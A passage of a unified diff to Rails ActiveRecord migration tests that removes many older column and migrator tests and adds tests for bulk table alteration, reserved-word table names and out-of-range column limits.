-      assert_nothing_raised { Person.connection.change_column "people", "contributor", :boolean, :default => nil }
-      Person.reset_column_information
-      assert !Person.new.contributor?
-      assert_nil Person.new.contributor
-    ensure
-      Person.connection.remove_column("people", "contributor") rescue nil
-    end
-
-    def test_change_column_with_new_default
-      Person.connection.add_column "people", "administrator", :boolean, :default => true
-      Person.reset_column_information
-      assert Person.new.administrator?
-
-      assert_nothing_raised { Person.connection.change_column "people", "administrator", :boolean, :default => false }
-      Person.reset_column_information
-      assert !Person.new.administrator?
-    ensure
-      Person.connection.remove_column("people", "administrator") rescue nil
-    end
-
-    def test_change_column_default
-      Person.connection.change_column_default "people", "first_name", "Tester"
-      Person.reset_column_information
-      assert_equal "Tester", Person.new.first_name
-    end
-
-    def test_change_column_quotes_column_names
-      Person.connection.create_table :testings do |t|
-        t.column :select, :string
-      end
-
-      assert_nothing_raised { Person.connection.change_column :testings, :select, :string, :limit => 10 }
-
-      # Oracle needs primary key value from sequence
-      if current_adapter?(:OracleAdapter)
-        assert_nothing_raised { Person.connection.execute "insert into testings (id, #{Person.connection.quote_column_name('select')}) values (testings_seq.nextval, '7 chars')" }
-      else
-        assert_nothing_raised { Person.connection.execute "insert into testings (#{Person.connection.quote_column_name('select')}) values ('7 chars')" }
+        Person.connection.drop_table :table_with_name_thats_just_ok,
+                                     :sequence_name => 'suitably_short_seq' rescue nil
       end
-    ensure
-      Person.connection.drop_table :testings rescue nil
     end
 
-    def test_keeping_default_and_notnull_constaint_on_change
-      Person.connection.create_table :testings do |t|
-        t.column :title, :string
-      end
-      person_klass = Class.new(Person)
-      person_klass.set_table_name 'testings'
-
-      person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
-      person_klass.reset_column_information
-      assert_equal 99, person_klass.columns_hash["wealth"].default
-      assert_equal false, person_klass.columns_hash["wealth"].null
-      # Oracle needs primary key value from sequence
-      if current_adapter?(:OracleAdapter)
-        assert_nothing_raised {person_klass.connection.execute("insert into testings (id, title) values (testings_seq.nextval, 'tester')")}
-      else
-        assert_nothing_raised {person_klass.connection.execute("insert into testings (title) values ('tester')")}
-      end
-
-      # change column default to see that column doesn't lose its not null definition
-      person_klass.connection.change_column_default "testings", "wealth", 100
-      person_klass.reset_column_information
-      assert_equal 100, person_klass.columns_hash["wealth"].default
-      assert_equal false, person_klass.columns_hash["wealth"].null
-
-      # rename column to see that column doesn't lose its not null and/or default definition
-      person_klass.connection.rename_column "testings", "wealth", "money"
-      person_klass.reset_column_information
-      assert_nil person_klass.columns_hash["wealth"]
-      assert_equal 100, person_klass.columns_hash["money"].default
-      assert_equal false, person_klass.columns_hash["money"].null
-
-      # change column
-      person_klass.connection.change_column "testings", "money", :integer, :null => false, :default => 1000
-      person_klass.reset_column_information
-      assert_equal 1000, person_klass.columns_hash["money"].default
-      assert_equal false, person_klass.columns_hash["money"].null
-
-      # change column, make it nullable and clear default
-      person_klass.connection.change_column "testings", "money", :integer, :null => true, :default => nil
-      person_klass.reset_column_information
-      assert_nil person_klass.columns_hash["money"].default
-      assert_equal true, person_klass.columns_hash["money"].null
-
-      # change_column_null, make it not nullable and set null values to a default value
-      person_klass.connection.execute('UPDATE testings SET money = NULL')
-      person_klass.connection.change_column_null "testings", "money", false, 2000
-      person_klass.reset_column_information
-      assert_nil person_klass.columns_hash["money"].default
-      assert_equal false, person_klass.columns_hash["money"].null
-      assert_equal [2000], Person.connection.select_values("SELECT money FROM testings").map { |s| s.to_i }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
+    # confirm the custom sequence got dropped
+    assert_raise(ActiveRecord::StatementInvalid) do
+      Person.connection.execute("select suitably_short_seq.nextval from dual")
     end
+  end
 
-    def test_change_column_default_to_null
-      Person.connection.change_column_default "people", "first_name", nil
-      Person.reset_column_information
-      assert_nil Person.new.first_name
-    end
+  def test_out_of_range_limit_should_raise
+    skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
 
-    def test_column_exists
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string
+    Person.connection.drop_table :test_limits rescue nil
+    assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
+      Person.connection.create_table :test_integer_limits, :force => true do |t|
+        t.column :bigone, :integer, :limit => 10
       end
-
-      assert Person.connection.column_exists?(:testings, :foo)
-      assert !Person.connection.column_exists?(:testings, :bar)
-    ensure
-      Person.connection.drop_table :testings rescue nil
     end
 
-    def test_column_exists_with_type
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string
-        t.column :bar, :decimal, :precision => 8, :scale => 2
+    unless current_adapter?(:PostgreSQLAdapter)
+      assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
+        Person.connection.create_table :test_text_limits, :force => true do |t|
+          t.column :bigtext, :text, :limit => 0xfffffffff
+        end
       end
-
-      assert Person.connection.column_exists?(:testings, :foo, :string)
-      assert !Person.connection.column_exists?(:testings, :foo, :integer)
-      assert Person.connection.column_exists?(:testings, :bar, :decimal)
-      assert !Person.connection.column_exists?(:testings, :bar, :integer)
-    ensure
-      Person.connection.drop_table :testings rescue nil
     end
 
-    def test_column_exists_with_definition
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string, :limit => 100
-        t.column :bar, :decimal, :precision => 8, :scale => 2
-      end
+    Person.connection.drop_table :test_limits rescue nil
+  end
 
-      assert Person.connection.column_exists?(:testings, :foo, :string, :limit => 100)
-      assert !Person.connection.column_exists?(:testings, :foo, :string, :limit => 50)
-      assert Person.connection.column_exists?(:testings, :bar, :decimal, :precision => 8, :scale => 2)
-      assert !Person.connection.column_exists?(:testings, :bar, :decimal, :precision => 10, :scale => 2)
+  protected
+    def with_env_tz(new_tz = 'US/Eastern')
+      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+      yield
     ensure
-      Person.connection.drop_table :testings rescue nil
+      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
     end
+end
 
-    def test_column_exists_on_table_with_no_options_parameter_supplied
-      Person.connection.create_table :testings do |t|
-        t.string :foo
-      end
-      Person.connection.change_table :testings do |t|
-        assert t.column_exists?(:foo)
-        assert !(t.column_exists?(:bar))
-      end
-    ensure
-      Person.connection.drop_table :testings rescue nil
+class ReservedWordsMigrationTest < ActiveRecord::TestCase
+  def test_drop_index_from_table_named_values
+    connection = Person.connection
+    connection.create_table :values, :force => true do |t|
+      t.integer :value
     end
 
-    def test_add_table
-      assert !Reminder.table_exists?
-
-      WeNeedReminders.up
-
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-
-      WeNeedReminders.down
-      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+    assert_nothing_raised do
+      connection.add_index :values, :value
+      connection.remove_index :values, :column => :value
     end
 
-    def test_add_table_with_decimals
-      Person.connection.drop_table :big_numbers rescue nil
-
-      assert !BigNumber.table_exists?
-      GiveMeBigNumbers.up
-
-      assert BigNumber.create(
-        :bank_balance => 1586.43,
-        :big_bank_balance => BigDecimal("1000234000567.95"),
-        :world_population => 6000000000,
-        :my_house_population => 3,
-        :value_of_e => BigDecimal("2.7182818284590452353602875")
-      )
-
-      b = BigNumber.find(:first)
-      assert_not_nil b
-
-      assert_not_nil b.bank_balance
-      assert_not_nil b.big_bank_balance
-      assert_not_nil b.world_population
-      assert_not_nil b.my_house_population
-      assert_not_nil b.value_of_e
-
-      # TODO: set world_population >= 2**62 to cover 64-bit platforms and test
-      # is_a?(Bignum)
-      assert_kind_of Integer, b.world_population
-      assert_equal 6000000000, b.world_population
-      assert_kind_of Fixnum, b.my_house_population
-      assert_equal 3, b.my_house_population
-      assert_kind_of BigDecimal, b.bank_balance
-      assert_equal BigDecimal("1586.43"), b.bank_balance
-      assert_kind_of BigDecimal, b.big_bank_balance
-      assert_equal BigDecimal("1000234000567.95"), b.big_bank_balance
-
-      # This one is fun. The 'value_of_e' field is defined as 'DECIMAL' with
-      # precision/scale explicitly left out.  By the SQL standard, numbers
-      # assigned to this field should be truncated but that's seldom respected.
-      if current_adapter?(:PostgreSQLAdapter)
-        # - PostgreSQL changes the SQL spec on columns declared simply as
-        # "decimal" to something more useful: instead of being given a scale
-        # of 0, they take on the compile-time limit for precision and scale,
-        # so the following should succeed unless you have used really wacky
-        # compilation options
-        # - SQLite2 has the default behavior of preserving all data sent in,
-        # so this happens there too
-        assert_kind_of BigDecimal, b.value_of_e
-        assert_equal BigDecimal("2.7182818284590452353602875"), b.value_of_e
-      elsif current_adapter?(:SQLite3Adapter)
-        # - SQLite3 stores a float, in violation of SQL
-        assert_kind_of BigDecimal, b.value_of_e
-        assert_in_delta BigDecimal("2.71828182845905"), b.value_of_e, 0.00000000000001
-      else
-        # - SQL standard is an integer
-        assert_kind_of Fixnum, b.value_of_e
-        assert_equal 2, b.value_of_e
-      end
+    connection.drop_table :values rescue nil
+  end
+end
 
-      GiveMeBigNumbers.down
-      assert_raise(ActiveRecord::StatementInvalid) { BigNumber.find(:first) }
+if ActiveRecord::Base.connection.supports_bulk_alter?
+  class BulkAlterTableMigrationsTest < ActiveRecord::TestCase
+    def setup
+      @connection = Person.connection
+      @connection.create_table(:delete_me, :force => true) {|t| }
     end
 
-    def test_migrator
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid")
-
-      assert_equal 3, ActiveRecord::Migrator.current_version
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid")
-
-      assert_equal 0, ActiveRecord::Migrator.current_version
-      Person.reset_column_information
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+    def teardown
+      Person.connection.drop_table(:delete_me) rescue nil
     end
 
-    class MockMigration < ActiveRecord::Migration
-      attr_reader :went_up, :went_down
-      def initialize
-        @went_up   = false
-        @went_down = false
-      end
-
-      def up
-        @went_up = true
-        super
-      end
-
-      def down
-        @went_down = true
-        super
+    def test_adding_multiple_columns
+      assert_queries(1) do
+        with_bulk_change_table do |t|
+          t.column :name, :string
+          t.string :qualification, :experience
+          t.integer :age, :default => 0
+          t.date :birthdate
+          t.timestamps
+        end
       end
-    end
-
-    def test_instance_based_migration_up
-      migration = MockMigration.new
-      assert !migration.went_up, 'have not gone up'
-      assert !migration.went_down, 'have not gone down'
-
-      migration.migrate :up
-      assert migration.went_up, 'have gone up'
-      assert !migration.went_down, 'have not gone down'
-    end
-
-    def test_instance_based_migration_down
-      migration = MockMigration.new
-      assert !migration.went_up, 'have not gone up'
-      assert !migration.went_down, 'have not gone down'
-
-      migration.migrate :down
-      assert !migration.went_up, 'have gone up'
-      assert migration.went_down, 'have not gone down'
-    end
-
-    def test_migrator_one_up
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
 
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 2)
-
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-    end
-
-    def test_migrator_one_down
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid")
-
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 1)
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-    end
-
-    def test_migrator_one_up_one_down
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
-
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-    end
-
-    def test_migrator_double_up
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-      ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1)
-      assert_nothing_raised { ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1) }
-      assert_equal(1, ActiveRecord::Migrator.current_version)
+      assert_equal 8, columns.size
+      [:name, :qualification, :experience].each {|s| assert_equal :string, column(s).type }
+      assert_equal 0, column(:age).default
     end
 
-    def test_migrator_double_down
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-      ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1)
-      ActiveRecord::Migrator.run(:down, MIGRATIONS_ROOT + "/valid", 1)
-      assert_nothing_raised { ActiveRecord::Migrator.run(:down, MIGRATIONS_ROOT + "/valid", 1) }
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-    end
+    def test_removing_columns
+      with_bulk_change_table do |t|
+        t.string :qualification, :experience
+      end
 
-    if ActiveRecord::Base.connection.supports_ddl_transactions?
-      def test_migrator_one_up_with_exception_and_rollback
-        assert !Person.column_methods_hash.include?(:last_name)
+      [:qualification, :experience].each {|c| assert column(c) }
 
-        e = assert_raise(StandardError) do
-          ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/broken", 100)
+      assert_queries(1) do
+        with_bulk_change_table do |t|
+          t.remove :qualification, :experience
+          t.string :qualification_experience
         end
-
-        assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
-
-        Person.reset_column_information
-        assert !Person.column_methods_hash.include?(:last_name)
       end
-    end
-
-    def test_finds_migrations
-      migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid").migrations
 
-      [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
-        assert_equal migrations[i].version, pair.first
-        assert_equal migrations[i].name, pair.last
-      end
+      [:qualification, :experience].each {|c| assert ! column(c) }
+      assert column(:qualification_experience)
     end
 
-    def test_finds_migrations_from_two_directories
-      directories = [MIGRATIONS_ROOT + '/valid_with_timestamps', MIGRATIONS_ROOT + '/to_copy_with_timestamps']
-      migrations = ActiveRecord::Migrator.new(:up, directories).migrations
-
-      [[20090101010101, "PeopleHaveHobbies"],
-       [20090101010202, "PeopleHaveDescriptions"],
-       [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
-       [20100201010101, "ValidWithTimestampsWeNeedReminders"],
-       [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
-        assert_equal pair.first, migrations[i].version
-        assert_equal pair.last, migrations[i].name
+    def test_adding_indexes
+      with_bulk_change_table do |t|
+        t.string :username
+        t.string :name
+        t.integer :age
       end
-    end
-
-    def test_dump_schema_information_outputs_lexically_ordered_versions
-      migration_path = MIGRATIONS_ROOT + '/valid_with_timestamps'
-      ActiveRecord::Migrator.run(:up, migration_path, 20100301010101)
-      ActiveRecord::Migrator.run(:up, migration_path, 20100201010101)
 
-      schema_info = ActiveRecord::Base.connection.dump_schema_information
-      assert_match(/20100201010101.*20100301010101/m, schema_info)
-    end
-
-    def test_finds_pending_migrations
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2", 1)
-      migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/interleaved/pass_2").pending_migrations
-
-      assert_equal 1, migrations.size
-      assert_equal migrations[0].version, 3
-      assert_equal migrations[0].name, 'InterleavedInnocentJointable'
-    end
-
-    def test_relative_migrations
-      list = Dir.chdir(MIGRATIONS_ROOT) do
-        ActiveRecord::Migrator.up("valid/", 1)
+      # Adding an index fires a query every time to check if an index already exists or not
+      assert_queries(3) do
+        with_bulk_change_table do |t|
+          t.index :username, :unique => true, :name => :awesome_username_index
+          t.index [:name, :age]
+        end
       end
 
-      migration_proxy = list.find { |item|
-        item.name == 'ValidPeopleHaveLastNames'
-      }
-      assert migration_proxy, 'should find pending migration'
-    end
-
-    def test_only_loads_pending_migrations
-      # migrate up to 1
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-
-      proxies = ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", nil)
+      assert_equal 2, indexes.size
 
-      names = proxies.map(&:name)
-      assert !names.include?('ValidPeopleHaveLastNames')
-      assert names.include?('WeNeedReminders')
-      assert names.include?('InnocentJointable')
-    end
-
-    def test_target_version_zero_should_run_only_once
-      # migrate up to 1
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 1)
-
-      # migrate down to 0
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 0)
+      name_age_index = index(:index_delete_me_on_name_and_age)
+      assert_equal ['name', 'age'].sort, name_age_index.columns.sort
+      assert ! name_age_index.unique
 
-      # migrate down to 0 again
-      proxies = ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 0)
-      assert_equal [], proxies
+      assert index(:awesome_username_index).unique
     end
 
-    def test_migrator_db_has_no_schema_migrations_table
-      # Oracle adapter raises error if semicolon is present as last character
-      if current_adapter?(:OracleAdapter)
-        ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations")
-      else
-        ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations;")
+    def test_removing_index
+      with_bulk_change_table do |t|
+        t.string :name
+        t.index :name
       end
-      assert_nothing_raised do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 1)
-      end
-    end
-
-    def test_migrator_verbosity
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      assert_not_equal 0, ActiveRecord::Migration.message_count
-      ActiveRecord::Migration.message_count = 0
-
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
-      assert_not_equal 0, ActiveRecord::Migration.message_count
-      ActiveRecord::Migration.message_count = 0
-    end
-
-    def test_migrator_verbosity_off
-      ActiveRecord::Migration.verbose = false
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      assert_equal 0, ActiveRecord::Migration.message_count
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
-      assert_equal 0, ActiveRecord::Migration.message_count
-    end
 
-    def test_migrator_going_down_due_to_version_target
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 0)
+      assert index(:index_delete_me_on_name)
 
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-    end
-
-    def test_migrator_rollback
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
-      assert_equal(3, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(2, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(1, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-    end
-
-    def test_migrator_forward
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 1)
-      assert_equal(1, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.forward(MIGRATIONS_ROOT + "/valid", 2)
-      assert_equal(3, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.forward(MIGRATIONS_ROOT + "/valid")
-      assert_equal(3, ActiveRecord::Migrator.current_version)
-    end
-
-    def test_get_all_versions
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
-      assert_equal([1,2,3], ActiveRecord::Migrator.get_all_versions)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal([1,2], ActiveRecord::Migrator.get_all_versions)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal([1], ActiveRecord::Migrator.get_all_versions)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal([], ActiveRecord::Migrator.get_all_versions)
-    end
-
-    def test_schema_migrations_table_name
-      ActiveRecord::Base.table_name_prefix = "prefix_"
-      ActiveRecord::Base.table_name_suffix = "_suffix"
-      Reminder.reset_table_name
-      assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
-      Reminder.reset_table_name
-      assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
-    ensure
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
-    end
-
-    def test_proper_table_name
-      assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
-      assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
-      assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
-      Reminder.reset_table_name
-      assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
-
-      # Use the model's own prefix/suffix if a model is given
-      ActiveRecord::Base.table_name_prefix = "ARprefix_"
-      ActiveRecord::Base.table_name_suffix = "_ARsuffix"
-      Reminder.table_name_prefix = 'prefix_'
-      Reminder.table_name_suffix = '_suffix'
-      Reminder.reset_table_name
-      assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
-      Reminder.table_name_prefix = ''
-      Reminder.table_name_suffix = ''
-      Reminder.reset_table_name
-
-      # Use AR::Base's prefix/suffix if string or symbol is given
-      ActiveRecord::Base.table_name_prefix = "prefix_"
-      ActiveRecord::Base.table_name_suffix = "_suffix"
-      Reminder.reset_table_name
-      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
-      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
-      Reminder.reset_table_name
-    end
-
-    def test_add_drop_table_with_prefix_and_suffix
-      assert !Reminder.table_exists?
-      ActiveRecord::Base.table_name_prefix = 'prefix_'
-      ActiveRecord::Base.table_name_suffix = '_suffix'
-      Reminder.reset_table_name
-      Reminder.reset_sequence_name
-      WeNeedReminders.up
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-
-      WeNeedReminders.down
-      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
-    ensure
-      ActiveRecord::Base.table_name_prefix = ''
-      ActiveRecord::Base.table_name_suffix = ''
-      Reminder.reset_table_name
-      Reminder.reset_sequence_name
-    end
-
-    def test_create_table_with_binary_column
-      Person.connection.drop_table :binary_testings rescue nil
-
-      assert_nothing_raised {
-        Person.connection.create_table :binary_testings do |t|
-          t.column "data", :binary, :null => false
+      assert_queries(3) do
+        with_bulk_change_table do |t|
+          t.remove_index :name
+          t.index :name, :name => :new_name_index, :unique => true
         end
-      }
-
-      columns = Person.connection.columns(:binary_testings)
-      data_column = columns.detect { |c| c.name == "data" }
-
-      if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
-        assert_equal '', data_column.default
-      else
-        assert_nil data_column.default
-      end
-
-      Person.connection.drop_table :binary_testings rescue nil
-    end
-
-    def test_migrator_with_duplicates
-      assert_raise(ActiveRecord::DuplicateMigrationVersionError) do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate", nil)
       end
-    end
 
-    def test_migrator_with_duplicate_names
-      assert_raise(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate_names", nil)
-      end
-    end
+      assert ! index(:index_delete_me_on_name)
 
-    def test_migrator_with_missing_version_numbers
-      assert_raise(ActiveRecord::UnknownMigrationVersionError) do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/missing", 500)
-      end
+      new_name_index = index(:new_name_index)
+      assert new_name_index.unique
     end
 
-    def test_create_table_with_custom_sequence_name
-      return unless current_adapter? :OracleAdapter
-
-      # table name is 29 chars, the standard sequence name will
-      # be 33 chars and should be shortened
-      assert_nothing_raised do
-        begin
-          Person.connection.create_table :table_with_name_thats_just_ok do |t|
-            t.column :foo, :string, :null => false
-          end
-        ensure
-          Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
-        end
+    def test_changing_columns
+      with_bulk_change_table do |t|
+        t.string :name
+        t.date :birthdate
       end
 
-      # should be all good w/ a custom sequence name
-      assert_nothing_raised do
-        begin
-          Person.connection.create_table :table_with_name_thats_just_ok,
-                                         :sequence_name => 'suitably_short_seq' do |t|
-            t.column :foo, :string, :null => false
-          end
+      assert ! column(:name).default
+      assert_equal :date, column(:birthdate).type
 
-          Person.connection.execute("select suitably_short_seq.nextval from dual")
-
-        ensure
-          Person.connection.drop_table :table_with_name_thats_just_ok,
-                                       :sequence_name => 'suitably_short_seq' rescue nil
+      # One query for columns (delete_me table)
+      # One query for primary key (delete_me table)
+      # One query to do the bulk change
+      assert_queries(3, :ignore_none => true) do
+        with_bulk_change_table do |t|
+          t.change :name, :string, :default => 'NONAME'
+          t.change :birthdate, :datetime
         end
       end
 
-      # confirm the custom sequence got dropped
-      assert_raise(ActiveRecord::StatementInvalid) do
-        Person.connection.execute("select suitably_short_seq.nextval from dual")
-      end
+      assert_equal 'NONAME', column(:name).default
+      assert_equal :datetime, column(:birthdate).type
     end
 
     protected
-      def with_env_tz(new_tz = 'US/Eastern')
-        old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-        yield
-      ensure
-        old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-      end
-
-  end
-
-  class SexyMigrationsTest < ActiveRecord::TestCase
-    def test_references_column_type_adds_id
-      with_new_table do |t|
-        t.expects(:column).with('customer_id', :integer, {})
-        t.references :customer
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_adds_type
-      with_new_table do |t|
-        t.expects(:column).with('taggable_type', :string, {})
-        t.expects(:column).with('taggable_id', :integer, {})
-        t.references :taggable, :polymorphic => true
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
-      with_new_table do |t|
-        t.expects(:column).with('taggable_type', :string, {:null => false})
-        t.expects(:column).with('taggable_id', :integer, {:null => false})
-        t.references :taggable, :polymorphic => true, :null => false
-      end
-    end
 
-    def test_belongs_to_works_like_references
-      with_new_table do |t|
-        t.expects(:column).with('customer_id', :integer, {})
-        t.belongs_to :customer
-      end
-    end
+    def with_bulk_change_table
+      # Reset columns/indexes cache as we're changing the table
+      @columns = @indexes = nil
 
-    def test_timestamps_creates_updated_at_and_created_at
-      with_new_table do |t|
-        t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
-        t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
-        t.timestamps
+      Person.connection.change_table(:delete_me, :bulk => true) do |t|
+        yield t
       end
     end
 
-    def test_integer_creates_integer_column
-      with_new_table do |t|
-        t.expects(:column).with(:foo, 'integer', {})
-        t.expects(:column).with(:bar, 'integer', {})
-        t.integer :foo, :bar
-      end
+    def column(name)
+      columns.detect {|c| c.name == name.to_s }
     end
 
-    def test_string_creates_string_column
-      with_new_table do |t|
-        t.expects(:column).with(:foo, 'string', {})
-        t.expects(:column).with(:bar, 'string', {})
-        t.string :foo, :bar
-      end
+    def columns
+      @columns ||= Person.connection.columns('delete_me')
     end
 
-    if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:SQLite3Adapter) || current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
-      def test_xml_creates_xml_column
-        type = current_adapter?(:PostgreSQLAdapter) ? 'xml' : :text
-
-        with_new_table do |t|
-          t.expects(:column).with(:data, type, {})
-          t.xml :data
-        end
-      end
-    else
-      def test_xml_creates_xml_column
-        with_new_table do |t|
-          assert_raises(NotImplementedError) do
-            t.xml :data
-          end
-        end
-      end
+    def index(name)
+      indexes.detect {|i| i.name == name.to_s }
     end
 
-    protected
-    def with_new_table
-      Person.connection.create_table :delete_me, :force => true do |t|
-        yield t
-      end
-    ensure
-      Person.connection.drop_table :delete_me rescue nil
+    def indexes
+      @indexes ||= Person.connection.indexes('delete_me')
     end
+  end # AlterTableMigrationsTest
 
-  end # SexyMigrationsTest
-
-  class SexierMigrationsTest < ActiveRecord::TestCase
-    def test_create_table_with_column_without_block_parameter
-      Person.connection.create_table :testings, :force => true do
-        column :foo, :string
-      end
-      assert Person.connection.column_exists?(:testings, :foo, :string)
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
+end
 
-    def test_create_table_with_sexy_column_without_block_parameter
-      Person.connection.create_table :testings, :force => true do
-        integer :bar
-      end
-      assert Person.connection.column_exists?(:testings, :bar, :integer)
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-  end # SexierMigrationsTest
-
-  class MigrationLoggerTest < ActiveRecord::TestCase
-    def test_migration_should_be_run_without_logger
-      previous_logger = ActiveRecord::Base.logger
